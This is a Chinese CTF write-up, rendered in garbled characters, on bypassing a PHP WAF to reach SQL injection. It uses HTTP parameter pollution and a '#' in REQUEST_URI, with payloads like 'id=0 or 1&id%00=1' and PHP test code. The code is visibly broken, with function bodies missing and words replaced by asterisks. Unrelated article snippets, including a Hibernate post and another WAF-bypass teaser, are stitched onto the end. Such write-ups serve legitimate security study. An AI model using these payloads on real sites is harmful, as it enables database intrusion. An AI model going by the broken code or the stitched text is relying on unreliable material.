1、hpp http引數汙染
http引數汙染指的是,在url中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如apache就要以最後乙個引數為準,比如:
user.php?id=111&id=222
如果輸出$_get陣列,則id的值只會取222,即url上提交的多餘值覆蓋了前乙個值。
2、乙個ctf題目
關於注入的waf繞過,注入點為:
$sql="select * from user where id=".$_request["id"].";";
可以看到了request進行傳遞,並且存在如下的waf**:
functionwaf($str)
functionwafarr($arr)
}
wafarr($_get);
wafarr($_post);
wafarr($_cookie);
wafarr($_session);
functionstripstr($str)
$uri= explode("?",$_server['request_uri']);
if(isset($uri[1]))
}}
functionstriparr($arr)
return$new_arr;
}
$_get=striparr($_get);
$_post=striparr($_post);
$_cookie=striparr($_cookie);
$_session=striparr($_session);
這裡使用了waf函式分別對get post session cookie資料進行過濾,並且對這些全域性陣列進行轉義。
值得注意的是,這裡的$_request是**中重新根據$_server['request_uri']進行拼接,在拼接過程中將引數值進行轉義操作。
(1)思路1 使用hpp特性
看似不太可能存在注入,但是使用hpp可以實現。
示例**:
user.php?id=0 or 1&id%00=1
user.php?id=0 or 1&%20id=1
user.php?id=0 or 1?&id=1
測試**:
<?php
function striparr($arr)
return $new_arr;
}function stripstr($str)
$uri = explode("?",$_server['request_uri']);
if(isset($uri[1]))
}}var_dump($_get) ;
var_dump($_request) ;
?>
輸出結果:
可以看到,這裡的get陣列取到了最後乙個值,不會觸發waf,而request資料中,id則為我們的注入語句,這樣
利用這兩者之間的差異,我們可以繞過waf函式的檢測,並且利用之前的注入點來實現注入。
(2)思路2: 利用#特性($_server['request_uri'])
在瀏覽器中,是不會將#號之後的hash內容傳送給伺服器的,這裡利用burp發包,可以將hash的內容傳送至伺服器,比如傳送:
/#?id=1
這裡get陣列為空,request則輸出為/#?id=1,這樣,就可以繞過waf函式對get陣列的判斷,
並且在request(這裡主要因為request陣列是使用了request_uri進行了重組)中攜帶注入的語句,繞過了waf檢測。
3、總結
這種特性導致的漏洞場景比較特殊,首先,ctf中模擬的場景是waf函式只對get,post,session,cookies全域性陣列進行的處理,注入點為request,在場景中,**對request陣列通過$_server['request_uri'],使用&分割重新組裝的,這種**處理可能是由於程式設計師想對request陣列進行轉義或者一些淨化處理才加進來的。
利用:(1)hpp特性,提交重複引數內容,php處理引數時會覆蓋,但是程式拼接時會出現差異,
比如提交:http://
127.0.0.1/shell.php?id=0 or 1&id%00=1
get為id=1,request為:
'id' =>可以看到,成功將注入內容引入到request陣列中。string
'0%20or%201'
(length=10)
'id%00' =>
string
'1'(length=1)
(2)利用#符號,#後面的內容不會帶入至get陣列中,但是會出現在request_uri中,所以可以利用這個特性將注入語句帶入到request物件中。
總之,這種特性導致的漏洞場景比較特殊,但是確實比較有趣。
PHP的兩個特性導致waf繞過注入
1 hpp http引數汙染 http引數汙染指的是,在url中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如apache就要以最後乙個引數為準,比如 user.php?id 111 id 222 如果輸出 get陣列,則id的值只會取222,即url上提交的多餘值覆蓋了前乙個值。2 乙...
學習hibernate不可繞過的兩個問題
剛剛學了hibernate,對以下兩個問題比較感興趣,僅僅代表個人的見解,大家多多指教。第乙個問題 為什麼在寫主配置檔案 時,用的載體是xml,而不是寫在了其他載體上?次要原因xml語句優美對稱,條理清晰,寫語句時會感受到它的潛在提示作用 個人觀點 如果不用xml這個載體,還有其它更好的載體嗎?至少...
小紅傘的WAF乙個繞過方法
今天遇到乙個小紅傘的waf,隨手測了下,發現很多都攔截了。但是任何waf都不是萬能的。對此,該waf我發現了乙個缺陷。例如在大小字元上沒有做什麼匹配策略。我可以很輕易的繞過去。雖然沒法構造能夠通過名單的select,但是其他的都繞過去了。把一些敏感的東西發出來,給有需要的人用。select 一開始這...